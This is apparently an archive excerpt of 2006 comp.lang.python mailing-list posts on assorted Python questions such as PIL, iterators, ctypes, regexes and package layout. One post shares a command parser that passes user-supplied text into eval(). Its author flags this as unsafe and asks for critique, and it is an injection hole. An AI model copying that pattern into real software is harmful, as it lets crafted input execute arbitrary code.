is a HUGE security hole which is a good reason not to use it.

You can still download the code I wrote and a "tutorial" PDF from
http://www.pulp.se/wx/ but I haven't touched it since last summer so
I'm not sure it works with the latest version of wxPython. Also, I just
noted that the example URL that I point to on that page doesn't work
because I've moved my hosting since then, but that can be fixed.

Good luck
Johan Lindberg
johan at pulp.se



From jfabiani at yolo.com  Tue Oct 17 18:56:14 2006
From: jfabiani at yolo.com (johnf)
Date: Tue, 17 Oct 2006 15:56:14 -0700
Subject: Python Web Site?
References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com>
	<mailman.660.1161118236.11739.python-list@python.org>
	<psednYHSo4Vf26jYnZ2dnUVZ_ridnZ2d@comcast.com>
Message-ID: <jcdZg.282$qv1.122@newsfe04.lga>

"Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote:

> Tim Chase wrote:
>>> Is there a problem with the Python and wxPython web sites?
>>> I cannot seem to get them up
>> 
>> Sounds like someone needs some pyagra...
>> 
>> (grins, ducks, and runs)
>> 
> 
> Interesting.  I thought at first it was a problem with Python's sites...
> but I got through to the Python site just now... but I can't get through
> to the wx* sites (wxwidgets.org, wxpython.org at the very least).  Seems
> that my trouble with the Python web site itself was coincidental.
> 
> -- Mike
I have the problem all the time.  I just wait a couple of hours and all
works again.  

John


From pinkfloydhomer at gmail.com  Mon Oct 30 05:39:37 2006
From: pinkfloydhomer at gmail.com (pinkfloydhomer at gmail.com)
Date: 30 Oct 2006 02:39:37 -0800
Subject: Easy PIL Question?
Message-ID: <1162204777.208562.220740@f16g2000cwb.googlegroups.com>

I want to do something very simple:

I want to read a palette image (256 color PNG or BMP for instance), and
then just to output the image data as numbers (palette indexes, I
guess). Makes sense? How do I do that?

/David



From vedran_dekovic at yahoo.com  Wed Oct  4 08:17:48 2006
From: vedran_dekovic at yahoo.com (vedran_dekovic at yahoo.com)
Date: 4 Oct 2006 05:17:48 -0700
Subject: Where to I find files: gtk.py  _gtk.py  and  GDK.py
Message-ID: <1159964268.113477.5740@e3g2000cwe.googlegroups.com>

Hello,
Can you tell me where to I find exactly this files:gtk.py, _gtk.py and
GDK.py
I was look everywhere,and download package of gtk but I can't find this
files







                            THANKS



From Bulkan at gmail.com  Fri Oct 20 03:54:55 2006
From: Bulkan at gmail.com (placid)
Date: 20 Oct 2006 00:54:55 -0700
Subject: BeautifulSoup problem
Message-ID: <1161330895.808308.292910@i42g2000cwa.googlegroups.com>

Hi all,

Just wondering if anyone knows how to get the text between the tags of
the following Tag object? 

<span class="nametext">Hello</span>

Cheers



From simon at brunningonline.net  Wed Oct  4 05:17:08 2006
From: simon at brunningonline.net (Simon Brunning)
Date: Wed, 4 Oct 2006 10:17:08 +0100
Subject: Equal to Anything
Message-ID: <8c7f10c60610040217g6f9edc60sc12318787118cf97@mail.gmail.com>

For the purposes of a little test utility that we use, I need an
object that evaluates as equal to anything. (I realise that this is a
bad idea in some ways, breaking the equals/hashcode invariant and so
forth, but I'm hoping that I can get away with it in this case.) It
seems a simple enough task at first:

>>> class EqualAnything(object):
...     def __eq__(self, other):
...         return True
...
>>> spam = EqualAnything()
>>> spam == 1
True
>>> spam == "hello!"
True
>>> spam == datetime.datetime.now()
True
>>> 1 == spam
True
>>> "hello!" == spam
True

But...

>>> datetime.datetime.now() == spam
False

I'm fairly sure that I know what is going on here - the left hand side
object is getting first stab at the equality test, and understandably,
it's saying "Nah". But is there anything that I can do about it?

-- 
Cheers,
Simon B,
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/


From jweida at gmail.com  Wed Oct 25 09:32:56 2006
From: jweida at gmail.com (Jerry)
Date: 25 Oct 2006 06:32:56 -0700
Subject: To remove some lines from a file
In-Reply-To: <1161782402.343992.152080@k70g2000cwa.googlegroups.com>
References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com>
Message-ID: <1161783176.859081.79100@m73g2000cwd.googlegroups.com>

Very inelegant, but you get the idea:

counter = 0

f = open("test.txt")
for line in f.readlines():
    if line[0] != "$" and counter < 2:
        counter += 1
        continue
    else:
        print line,

--
Jerry



From hanumizzle at gmail.com  Fri Oct  6 01:38:12 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 01:38:12 -0400
Subject: help on pickle tool
In-Reply-To: <1160112357.891308.200020@i42g2000cwa.googlegroups.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<1160112357.891308.200020@i42g2000cwa.googlegroups.com>
Message-ID: <463ff4860610052238td0f390dp2b5d4bd9653d8a4f@mail.gmail.com>

On 5 Oct 2006 22:25:58 -0700, Paddy <paddy3118 at netscape.net> wrote:

> You might try picking the data with a different pickle formatter that
> your Java can use. Maybe an XML pickler
> (http://www.gnosis.cx/download/Gnosis_Utils.More/Gnosis_Utils-1.2.1.ANNOUNCE
> untested by me).
> You might also use a JSON/YAML pickler. JSON is now a subset of YAML:
>   http://cheeseshop.python.org/pypi/python-json/3.4
>   http://pyyaml.org/wiki/PyYAML
>   http://jyaml.sourceforge.net/
>   http://www.yaml.org/
>   http://www.json.org/
>   http://www.json.org/java/

Why a subset?


From fredrik at pythonware.com  Tue Oct 31 06:58:28 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 31 Oct 2006 12:58:28 +0100
Subject: Help me understand this iterator
In-Reply-To: <1162294568.168728.178270@m73g2000cwd.googlegroups.com>
References: <1162294568.168728.178270@m73g2000cwd.googlegroups.com>
Message-ID: <ei7dp2$7un$1@sea.gmane.org>

LaundroMat wrote:

> Now, if I look at this script step by step, I don't understand:
> - what is being iterated over (what is being called by "file in
> DirectoryWalker()"?);

as explained in the text above the script, this class emulates a 
sequence.  it does this by implementing the __getindex__ method:

     http://effbot.org/pyref/__getitem__

> - where it gets the "index" value from;

from the call to __getitem__ done by the for-in loop.

> - where the "while 1:"-loop is quitted.

the loop stops when the stack is empty, and pop raises an IndexError 
exception.

note that this is an old example; code written for newer versions of 
Python would probably use a recursing generator instead (see the source 
code for os.walk in the standard library for an example).

</F>



From sjmachin at lexicon.net  Thu Oct 12 06:08:57 2006
From: sjmachin at lexicon.net (John Machin)
Date: 12 Oct 2006 03:08:57 -0700
Subject: prefix search on a large file
In-Reply-To: <mailman.365.1160642731.11739.python-list@python.org>
References: <mailman.365.1160642731.11739.python-list@python.org>
Message-ID: <1160647737.312386.37800@c28g2000cwb.googlegroups.com>


js  wrote:
> Hello, list.
>
>  I have a list of sentence in text files that I use to filter-out some data.
> I managed the list so badly that now it's become literally a mess.
>
> Let's say the list has a sentence below
>
> 1. "Python has been an important part of Google since the beginning,
> and remains so as the system grows and evolves. "
>
> 2. "Python has been an important part of Google"
>
> 3. "important part of Google"
>
> As you see sentence 2 is a subset of sentence 1
> so I don't need to have sentence 1 on the list.

Are you 100% sure that you wnat to throw away the *longer* sentence?

> (For some reason, it's no problem to have sentence 3.
> Only sentence that has the "same prefix part" is the one I want to remove)
>
> So I decided to clean up the list.
>
> I tried to do this simple brute-force manner,  like

Please don't waste time and bandwith with "like"; post the exact code
that you executed.

>
> ---------------------------------------------------------------------------
> sorted_list = sorted(file('thelist'), key=len)
> for line in sorted_list[:]
# won't compile, missing a colon at end
>   unneeded = [ line2 for line2 in sorted_list[:] if line2.startswith(line) ]
>   sorted_list = list(set(sorted_list) - (unneeded))
#  can't do set - list
# Presuming you mean - set(unneeded), but then produces an empty list
(see later).
# Naming the output "sorted_list" is misleading advertising.
# With sorted_list[:] in an inner loop, it's no wonder that it runs
slowly.
# Test your code on small samples of data and ensure that it is working
correctly before you run it on huge amounts of data.
# Be careful of end cases; note that in my solutions below, the first
or last item needs special handling.

> ....
> ---------------------------------------------------------------------------
>
> This is so slow and not so helpful because the list is
> so big(more than 100M bytes and has about 3 million lines)
> and I have more than 100 lists.

Here's one way of doing it, tested to the extent shown:

C:\junk>type prefixdel.py
from pprint import pprint as pp
data = [
    'foo bar baz',
    'foo bar',
    'foo',
    'food',
    'food', # duplicate
    'xyzzy',
    'plugh',
    'xyzzy and plugh are magic',
    'zzzz',
    ]

"""
> sorted_list = sorted(file('thelist'), key=len)
> for line in sorted_list[:]
>   unneeded = [ line2 for line2 in sorted_list[:] if line2.startswith(line) ]
>   sorted_list = list(set(sorted_list) - set(unneeded))
"""
slist = sorted(data, key=len)
print "OP trial 1 input"; pp(slist)
for line in slist[:]:
    unneeded = [line2 for line2 in slist[:] if line2.startswith(line)]
    slist = list(set(slist) - set(unneeded))
print "OP trial 1 output"; pp(slist)

ilist = sorted(data)
print "sorted input"; pp(ilist)

olist = []
for i in xrange(len(ilist)-1, 0, -1):
    if ilist[i].startswith(ilist[i-1]):
        continue
    olist.append(ilist[i])
olist.append(ilist[0])
print "output (keeping shorter)"; pp(olist)

olist = []
for i in xrange(len(ilist)-1):
    if ilist[i+1].startswith(ilist[i]):
        continue
    olist.append(ilist[i])
olist.append(ilist[-1])
print "output (keeping longer)"; pp(olist)


C:\junk>prefixdel.py
OP trial 1 input
['foo',
 'food',
 'food',
 'zzzz',
 'xyzzy',
 'plugh',
 'foo bar',
 'foo bar baz',
 'xyzzy and plugh are magic']
OP trial 1 output
[]
sorted input
['foo',
 'foo bar',
 'foo bar baz',
 'food',
 'food',
 'plugh',
 'xyzzy',
 'xyzzy and plugh are magic',
 'zzzz']
output (keeping shorter)
['zzzz', 'xyzzy', 'plugh', 'food', 'foo']
output (keeping longer)
['foo bar baz', 'food', 'plugh', 'xyzzy and plugh are magic', 'zzzz']

HTH,
John



From sybrenUSE at YOURthirdtower.com.imagination  Sun Oct  1 08:13:23 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Sun, 1 Oct 2006 14:13:23 +0200
Subject: Python/UNO/OpenOffice?
References: <gknTg.6721$e66.6260@newssvr13.news.prodigy.com>
	<slrnehs85g.ncj.sybrenUSE@schuimige.stuvel.eu>
	<1159665677.378607.133720@k70g2000cwa.googlegroups.com>
Message-ID: <slrnehvc73.v52.sybrenUSE@schuimige.stuvel.eu>

John Machin enlightened us with:
> Hi, Sybren. I tried folloing your recipe on Windows with OOo 2.0 ...
>
> Minor problem: the executable is called soffice, not ooffice.
>
> Major problem: it crashed right at the start, somewhere in the maze
> of dlls.

That's not nice.

> Has anyone managed to get further than this on Windows (XP Pro, SP
> 2)?

Not me - I'm not using Windows. If anyone knows more about this,
please post here or post a comment at
http://www.stuvel.eu/archive/31/article-about-openofficeorg-and-python
so that I can improve the article.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From wahab at chemie.uni-halle.de  Sun Oct  8 08:03:35 2006
From: wahab at chemie.uni-halle.de (Mirco Wahab)
Date: Sun, 08 Oct 2006 14:03:35 +0200
Subject: need some regular expression help
In-Reply-To: <1160297390.242124.260770@i3g2000cwc.googlegroups.com>
References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>
	<1160258429.883224.285830@i3g2000cwc.googlegroups.com>
	<mailman.40.1160272852.11739.python-list@python.org>
	<1160297390.242124.260770@i3g2000cwc.googlegroups.com>
Message-ID: <egapnf$9cm$1@mlucom4.urz.uni-halle.de>

Thus spoke Diez B. Roggisch (on 2006-10-08 10:49):
> Certainly true, and it always gives me a hard time because I don't know
> to which extend a regular expression nowadays might do the job because
> of these extensions. It was so much easier back in the old times....

Right, in perl, this would be a no-brainer,
its documented all over the place, like:

   my $re;

   $re = qr{
            (?:
              (?> [^\\()]+ | \\. )
               |
             \( (??{ $re }) \)
            )*
            }xs;

where you have a 'delayed execution'
of the

  (??{ $re })

which in the end makes the whole a thing
recursive one, it gets expanded and
executed if the match finds its way
to it.

Above regex will match balanced parens,
as in:

   my $good = 'a + (b / (c - 2)) * (d ^ (e+f))  ';
   my $bad1 = 'a + (b / (c - 2)  * (d ^ (e+f))  ';
   my $bad2 = 'a + (b / (c - 2)) * (d) ^ (e+f) )';

if you do:

   print "ok \n" if $good =~ /^$re$/;
   print "ok \n" if $bad1 =~ /^$re$/;
   print "ok \n" if $bad2 =~ /^$re$/;


This in some depth documented e.g. in
http://japhy.perlmonk.org/articles/tpj/2004-summer.html
(topic: Recursive Regexes)

Regards

M.


From fredrik at pythonware.com  Mon Oct 23 02:56:43 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 23 Oct 2006 08:56:43 +0200
Subject: Arrays? (Or lists if you prefer)
In-Reply-To: <1161586065.333264.130730@b28g2000cwb.googlegroups.com>
References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com>	<%jV_g.7670$5i7.2617@newsreading01.news.tds.net>	<453c63ea$0$4578$4fafbaef@reader2.news.tin.it>
	<1161586065.333264.130730@b28g2000cwb.googlegroups.com>
Message-ID: <ehhp3b$gs2$1@sea.gmane.org>

Hakusa at gmail.com wrote:

> What's the difference between xrange and range?

range() creates a list object and fills it in up front, xrange() returns 
a sequence-like object that generates indexes on demand.

for short loops, this difference doesn't really matter.  for large 
loops, or if you usually don't run the loop until the end, xrange()
can be more efficient.  xrange() also lets you do things like:

     for x in xrange(sys.maxint):
         ...
         if some condition:
             break

without running out of memory.

</F>



From jjl at pobox.com  Sat Oct  7 20:41:36 2006
From: jjl at pobox.com (John J. Lee)
Date: Sun, 08 Oct 2006 00:41:36 GMT
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com>
Message-ID: <877izb1vwe.fsf@pobox.com>

aahz at pythoncraft.com (Aahz) writes:

> The following line of lightly munged code was found in a publicly
> available Python library...
> 
>     if schema.elements.has_key(key) is False:
> 
> Sorry, just had to vent.

I think I was reading the same code recently (epydoc?) and was also
momentarily horrified ;-) until I realized that it was quite
deliberately using three-valued logic (True, False, None) for some
presumably-sensible reason.  Since None is false, they had to use
"is".  So, given the need for three-valued logic, it's not as silly as
it looks.


John


From Matthew.Warren at Digica.com  Wed Oct 11 05:20:03 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Wed, 11 Oct 2006 10:20:03 +0100
Subject: Bad Code (that works) help me re-write!
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B03C22E76@UKEX01.Digica.local>

I have the following piece of code, taken from a bigger module, that
even as I was writing I _knew_ there were better ways of doing it, using
a parser or somesuch at least, but learning how wasn't as fun as coding
it... And yes alarm bells went off when I found myself typing eval(),
and I'm sure this is an 'unusual' use of for: else: . And I know it's
not very robust. As an ex cuse/planation, this is what happens when you
get an idea in your head and code it until it works, rather than doing
any kind of planning / designing first :)

I have a file that indicates the syntax of commands. User input is
checked against this file until it matches one of the lines in the file.
Then the indicated commands are run.

I think what I have ended up doing is writing a kind of a brute-force
parser for the file format I have defined. The trouble is, I'm sure
there are much more 'agile' and 'elegant' ways of achieveing this, and
also getting rid of eval() !

I'm posting here in the hope that it will criticised, laughed at, picked
apart and hence I shall learn a bit about python and how to do this
properly :)


The code follows, followed by the file defining the syntax of commands.

import re

def dbg(Msg,Fn):
    try:
	if (TRACE[Fn] or TRACE["ALL"]):
	    print 'DBG:'+Fn+': '+Msg
    except KeyError: 
	pass

def processsubstitutions(RawCmd):
    DBGBN='processsubstitutions'
    infprotect=1
    subhit=1
    while subhit==1:
	subhit=0
	for sub in Substitutions:
	    SubCheck=RawCmd
	    RawCmd=re.sub('~'+sub,' '.join(Substitutions[sub]),RawCmd)
	    if SubCheck!=RawCmd:
		#dbg('Made Substitution '+sub+' to get '+RawCmd,DBGBN)
		subhit=1
	infprotect=infprotect+1
	if infprotect>100:
	    return "ERROR: Infinitely deep substitution levels
detected."
    return RawCmd

#
#...processcommand is called with a string entered by the user.
#

def processcommand(Command):
    DBGBN='processcommand'
    dbg('Before Substitution: '+Command,DBGBN)
    Command=processsubstitutions(Command)  #  if ! aliascmd then flow
is,  RawCmd->subbed->executed
			    				# is IS aliascmd
then flow is   RawCmd->Subbed->aliashit->subbed->executed
    dbg('After Substitution: '+Command,DBGBN)
    AliasHit=0
    CommandHit=0
    SplitCmd=Command.split()
    SplitLen=len(SplitCmd)
    Cmd=SplitCmd[0]
    InEtcRun=0
    Error=0
    CommandDefs=file(installroot+'FatControllerCommands.sav','r')
    for Def in CommandDefs:
	dbg("Scanning cdef ::"+Def,DBGBN)
	if Def!='ENDCOMMANDDEFS':
	    DefTokens=Def.split()
	    ctr=0
	    for Token in DefTokens:
		dbg("Doing token "+Token,DBGBN)
		if re.search('input:',Token):
		    if SplitLen>ctr:
			dbg("Is an input tag. ValExp=",DBGBN)
	
ValidateExpression=Token.replace('input:','').replace('<<',SplitCmd[ctr]
).replace('::SPACE::',' ')
			dbg(ValidateExpression,DBGBN)
		    else:
			Error=1
			ErrorText='Error: Missing parameter.'
			break
		    if not eval(ValidateExpression):##NOT SAFE NOT SAFE.
Need to come up with entirely new
                                                    ##way to do all this
			Error=1
			ErrorText='Error: Parameter incorrect.'
			break
		elif re.search('create:',Token):
	
CreateExpression=Token.replace('create:','').replace('::SPACE::',' ')
		elif Token!='+*':
		    if ctr>=SplitLen:
			Error=1
			ErrorText='Error: Bad command.'
			break
		    if Token!=SplitCmd[ctr]:
			Error=1
			ErrorText='Error: Bad command.'
			break
		ctr+=1
		CommandHit=1
	    else: #{EndOf for Token} all tokens found for else
		eval(CreateExpression)
		break
    else:   #{EndOf for Def} Check aliases
	for AliasName in Aliases:
	    if Cmd==AliasName: #then, make cmdstring alias cmd string
and re-process
		AliasCmd=' '.join(Aliases[AliasName])
		AliasHit=1
		dbg('Made alias hit to get '+AliasCmd,DBGBN)
		break
	else: #FOR loop else  not an alias, so try execute as last
entity command
	    if not CommandHit:
		global LastExecutedEntity
		if LastExecutedEntity!='':
		    #global LastExecutedEntity
	
EntityManager.execute(LastExecutedEntity,SplitCmd[0:])
		else:
		    print '\nError: Dont know which entity to use.\n'
	    else:
		print '\nError: Bad command.\n'
	if AliasHit==1:
	    AliasHit=0
	    CommandDefs.close()
	    processcommand(AliasCmd)
    CommandDefs.close()



.....now the file.  First I will explain what is in it;

The 'grammar'? Or file format I have defined is as follows. The aim is
to specify the syntax of commands that are then checked against user
input until a match is found, then eval() is used to call the function
given in the file. (bad I know)

There are sveral tokens in the file, this is what they mean

Input:(some condition, possibly containing '<<')  - Whatever the user
has entered in this field replaces '<<' the resulting code must eval to
True.

Create:(function call using SplitCmd[])           -  eval is used if
user input has matched the line to make the given function call,
SplitCmd is a list of the lines values.

+*    indicates the user could enter any number of any parms , these are
handled by the code executed via the create: token.

....simple huh?


Here's the file 'FatControllerCommands.sav' (some lines are long, turn
off wrapping):

alias input:'<<'!='' +* create:definealias(SplitCmd[1],SplitCmd[2:])
define entity input:not(EntityManager.isEntity('<<')) input:'<<'!='' +*
create:EntityManager.define(SplitCmd[2],SplitCmd[3:])
def entity input:not(EntityManager.isEntity('<<')) input:'<<'!='' +*
create:EntityManager.define(SplitCmd[2],SplitCmd[3:])
delete entity input:EntityManager.isEntity('<<')
create:EntityManager.delete(SplitCmd[2])
del entity input:EntityManager.isEntity('<<')
create:EntityManager.delete(SplitCmd[2])
delete alias input:isalias('<<') create:delalias(SplitCmd[2])
del alias input:isalias('<<') create:delalias(SplitCmd[2])
delete substitution input:issubstitute('<<')
create:delsubstitution(SplitCmd[2])
delete sub input:issubstitute('<<') create:delsubstitution(SplitCmd[2])
del substitution input:issubstitute('<<')
create:delsubstitution(SplitCmd[2])
del sub input:issubstitute('<<') create:delsubstitution(SplitCmd[2])
execute input:EntityManager.isEntity('<<') input:'<<'!='' +*
create:EntityManager.execute(SplitCmd[1],SplitCmd[2:])
exec input:EntityManager.isEntity('<<') input:'<<'!='' +*
create:EntityManager.execute(SplitCmd[1],SplitCmd[2:])
x input:EntityManager.isEntity('<<') input:'<<'!='' +*
create:EntityManager.execute(SplitCmd[1],SplitCmd[2:])
exit create:sys.exit(0)
quit create:sys.exit(0)
help create:displayhelp()
load input:'<<'!='' create:load(SplitCmd[1])
save input:'<<'==('all') input:not(00)
create:save(SplitCmd[1],SplitCmd[2])
show entities create:EntityManager.show()
show aliases create:showaliases()
show substitutions create:showsubstitutions()
show subs create:showsubstitutions()
show daemons create:showdaemons()
substitute input:'<<'!=''
create:definesubstitution(SplitCmd[1],SplitCmd[2:])
sub input:'<<'!='' create:definesubstitution(SplitCmd[1],SplitCmd[2:])
trace input:'<<'!='' create:toggletrace(SplitCmd[1])
set input:'<<'!='' input:'<<'!='' input:'<<'!='' +*
create:SetOption(SplitCmd[1],SplitCmd[2],'::SPACE::'.join(SplitCmd[3:]))
show options create:displayopts()
define daemon input:'<<'!='' create:createdaemon(SplitCmd[2])
def daemon input:'<<'!='' create:createdaemon(SplitCmd[2])
define schedule input:IsDaemon('<<') input:'<<'!='' input:'<<'!=''
input:'<<'!=''
create:scheduledaemon(SplitCmd[2],SplitCmd[3],SplitCmd[4],SplitCmd[5])
define sched input:IsDaemon('<<') input:'<<'!='' input:'<<'!=''
input:'<<'!=''
create:scheduledaemon(SplitCmd[2],SplitCmd[3],SplitCmd[4],SplitCmd[5])
def schedule input:IsDaemon('<<') input:'<<'!='' input:'<<'!=''
input:'<<'!=''
create:scheduledaemon(SplitCmd[2],SplitCmd[3],SplitCmd[4],SplitCmd[5])
def sched input:IsDaemon('<<') input:'<<'!='' input:'<<'!=''
input:'<<'!=''
create:scheduledaemon(SplitCmd[2],SplitCmd[3],SplitCmd[4],SplitCmd[5])
define task input:IsDaemon('<<') input:'<<'!='' +*
create:adddaemontask(SplitCmd[2],SplitCmd[3],SplitCmd[4:])
define collector input:IsDaemon('<<') input:'<<'!='' input:'<<'!=''
input:'<<'!='' input:'<<'!='' input:'<<'!='' input:'<<'!=''
create:adddaemontaskcollector(SplitCmd[2],SplitCmd[3],SplitCmd[4],SplitC
md[5],SplitCmd[6],SplitCmd[7],SplitCmd[8])
subscribe entity input:IsDaemon('<<') input:'<<'!=''
input:EntityManager.isEntity('<<')
create:adddaemontaskentity(SplitCmd[2],SplitCmd[3],SplitCmd[4])
subs entity input:IsDaemon('<<') input:'<<'!=''
input:EntityManager.isEntity('<<')
create:adddaemontaskentity(SplitCmd[2],SplitCmd[3],SplitCmd[4])
def task input:IsDaemon('<<') input:'<<'!='' +*
create:adddaemontask(SplitCmd[2],SplitCmd[3],SplitCmd[4:])
def collector input:IsDaemon('<<') input:'<<'!='' input:'<<'!=''
input:'<<'!='' input:'<<'!='' input:'<<'!='' input:'<<'!=''
create:adddaemontaskcollector(SplitCmd[2],SplitCmd[3],SplitCmd[4],SplitC
md[5],SplitCmd[6],SplitCmd[7],SplitCmd[8])
def alert input:IsDaemon('<<') input:'<<'!='' input:'<<'!=''
input:'<<'!='' input:'<<'!='' input:'<<'!=''
create:adddaemontaskcollectoralert(SplitCmd[2],SplitCmd[3],SplitCmd[4],S
plitCmd[5],SplitCmd[6],'::SPACE::'.join(SplitCmd[7:]))
define alert input:IsDaemon('<<') input:'<<'!='' input:'<<'!=''
input:'<<'!='' input:'<<'!='' input:'<<'!=''
create:adddaemontaskcollectoralert(SplitCmd[2],SplitCmd[3],SplitCmd[4],S
plitCmd[5],SplitCmd[6],'::SPACE::'.join(SplitCmd[7:]))
delete daemon input:IsDaemon('<<') create:removedaemon(SplitCmd[2])
del daemon input:IsDaemon('<<') create:removedaemon(SplitCmd[2])
delete task input:IsDaemon('<<') input:'<<'!=''
create:removedaemontask(SplitCmd[2],SplitCmd[3])
del task input:IsDaemon('<<') input:'<<'!=''
create:removedaemontask(SplitCmd[2],SplitCmd[3])
update task input:IsDaemon('<<') input:'<<'!='' input:'<<'!=''
create:updatedaemontask(SplitCmd[2],SplitCmd[3],SplitCmd[4:])
upd task  input:IsDaemon('<<') input:'<<'!='' input:'<<'!=''
create:updatedaemontask(SplitCmd[2],SplitCmd[3],SplitCmd[4:])
delete collector input:IsDaemon('<<') input:'<<'!='' input:'<<'!=''
create:removedaemontaskcollector(SplitCmd[2],SplitCmd[3],SplitCmd[4])
del collector input:IsDaemon('<<') input:'<<'!='' input:'<<'!=''
create:removedaemontaskcollector(SplitCmd[2],SplitCmd[3],SplitCmd[4])
unsubscribe entity input:IsDaemon('<<') input:'<<'!='' input:'<<'!=''
create:removedaemontaskentity(SplitCmd[2],SplitCmd[3],SplitCmd[4])
unsub entity input:IsDaemon('<<') input:'<<'!='' input:'<<'!=''
create:removedaemontaskentity(SplitCmd[2],SplitCmd[3],SplitCmd[4])
activate daemon input:IsDaemon('<<') create:makedaemonlive(SplitCmd[2])
act daemon input:IsDaemon('<<') create:makedaemonlive(SplitCmd[2])
show active daemons create:showactivedaemons()
deactivate daemon input:IsDaemon('<<') create:killdaemon(SplitCmd[2])
deac daemon input:IsDaemon('<<') create:killdaemon(SplitCmd[2])
alerts create:showalertqueue()
handle input:'<<'!='' input:'<<'!=''
create:handlealertrange(int(SplitCmd[1]),int(SplitCmd[2]))
addline input:'<<'!='' +*
create:appendtoscript(SplitCmd[1],SplitCmd[2:])
insline input:'<<'!='' input:'<<'!='' +*
create:inserttoscript(SplitCmd[1],SplitCmd[2],SplitCmd[3:])
delline input:'<<'!='' input:'<<'!=''
create:delfromscript(SplitCmd[1],SplitCmd[2])
run input:isScript('<<') +* create:runscript(SplitCmd[1],SplitCmd[2:])
delete script input:'<<'!='' create:delscript(SplitCmd[2])
del script input:'<<'!='' create:delscript(SplitCmd[2])
show script input:'<<'!='' create:showscripts(SplitCmd[2])
show scripts create:showscripts('all')
message input:'<<'!='' +* create:message(SplitCmd[1:])
msg input:'<<'!='' +* create:message(SplitCmd[1:])
ENDDCOMMANDDEFS

Thankyou for your time pythoners, any suggestions / comments are much
appreciated.

Matt.


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From richardjones at optushome.com.au  Fri Oct  6 19:34:45 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Sat, 07 Oct 2006 09:34:45 +1000
Subject: ctypes and setjmp
References: <45259596$0$32011$afc38c87@news.optusnet.com.au>
	<mailman.1470.1160162118.10491.python-list@python.org>
Message-ID: <4526e815$0$5105$afc38c87@news.optusnet.com.au>

Thomas Heller wrote:

> Richard Jones schrieb:
>> Currently ctypes can't play well with any C code that requires use of
>> setjmp as part of its API.
>> 
>> libpng is one of those libraries.
>> 
>> Can anyone think of a reasonable solution to this? Perhaps ctypes might
>> be patched to offer setjmp support in foreign function definitions?
>> 
>> 
>>     Richard
>> 
> I didn't know that setjmp/longjmp is actually used by production libraries
> for error handling.

To be honest, I didn't even know what setjmp/longjmp *were* until I hit its
use in libpng, and I've been programming C for over a decade now ;)

> How is this pattern used in C?  Do you call setjump() before each api
> call, or do you call setjump once, and then do all the api calls?

I believe you call setjmp just before calling the API function in question.


> What do you do when setjmp() returns != 0?

I'd say that in ctypes land you'd have to provide a function to call in that
situation. ctypes would call that function and then continue on. It's up to
that function to raise an exception or otherwise flag the error. So in
rough terms, you'd have ctypes do:

  if (error_handler != NULL) r = 0;
  else r = setjmp();
  if (r == 0) api_call();
  if (r == 1) error_handler();


> For ctypes, the only solution I can think of is to invent a new calling
> convention, which will call setjmp() first internally before calling the
> libpng api function...

Yeah, that's what I figured.


     Richard



From Leo.Kislov at gmail.com  Mon Oct 30 02:42:48 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 29 Oct 2006 23:42:48 -0800
Subject: Lookuperror : unknown encoding : utf-8
References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com>
Message-ID: <1162194168.044962.262720@b28g2000cwb.googlegroups.com>


Sachin Punjabi wrote:
> Hi,
>
> I wanted to read a file encoded in utf-8 and and using the following
> syntax in my source which throws me an error specifying Lookuperror :
> unknown encoding : utf-8. Also I am working on Python version 2.4.1.
>
> import codecs
> fileObj = codecs.open( "data.txt", "r", "utf-8" )
>
> Can anyone please guide me how do I get utf-8 activated in my codecs or
> any setting needs to be done for the same before using codecs.

What OS? Where did you get your python distribution? Anyway, I believe
utf-8 codec was in the python.org distribution since the introduction
of unicode (around python 2.0). If you can't use utf-8 codec right out
of the box, something is really wrong with your setup.

  -- Leo



From pecora at anvil.nrl.navy.mil  Tue Oct 17 14:24:26 2006
From: pecora at anvil.nrl.navy.mil (Lou Pecora)
Date: Tue, 17 Oct 2006 14:24:26 -0400
Subject: pylab package dependencies
References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>
	<mailman.604.1161057667.11739.python-list@python.org>
	<pecora-D51FB8.09391617102006@ra.nrl.navy.mil>
	<mailman.650.1161106780.11739.python-list@python.org>
Message-ID: <pecora-B5F159.14242617102006@ra.nrl.navy.mil>

In article <mailman.650.1161106780.11739.python-list at python.org>,
 Robert Kern <robert.kern at gmail.com> wrote:

> > 
> > Is pylab part of matplotlib? 
> 
> Yes.
> 
> > I always thought it was the other way 
> > around. I have a similar view of numpy as part of scipy. 
> 
> It is not.
> 
> > Maybe I'm 
> > confused on the dependencies.  I find it confusing in the examples 
> > sometimes when the "bigger" package is imported (e.g. scipy) and then a 
> > "subpackage" is also imported.  Like this:
> > 
> > from scipi import *
> > from scipi import numpy
> 
> The latter would definitely be bad form if it worked. numpy is a package all 
> by 
> itself and should be imported by itself.
> 
> > I know I've seen stuff like that, but I don't get it.  The dependencies 
> > are confusing to me.  
> 
> pylab is a module provided with matplotlib that exposes a nice interface for 
> certain purposes. Somewhat confusingly, it is provided in two places, as its 
> own 
> module:
> 
>    import pylab
> 
> and as a submodule in the matplotlib package:
> 
>    from matplotlib import pylab
> 
> Both do the same thing. You get to ask John Hunter if you want to know the 
> whys 
> and wherefores.

[cut]

Got it.  Thanks, Robert, for the quick tutorial.  It's a lot clearer now.

Now, to just remember it.  

By the way, from what I have seen so far they are beautiful packages.

The only problem I'm having is getting ipython to run.  Not installed in 
/usr/local/bin (although all other IPython files look to be installed in 
/Library/Framewaorks/python...blah/site-packages).  I'm still searching 
the web sites for answers.

But all else seems to run pretty smoothly.

-- Lou Pecora  (my views are my own) REMOVE THIS to email me.


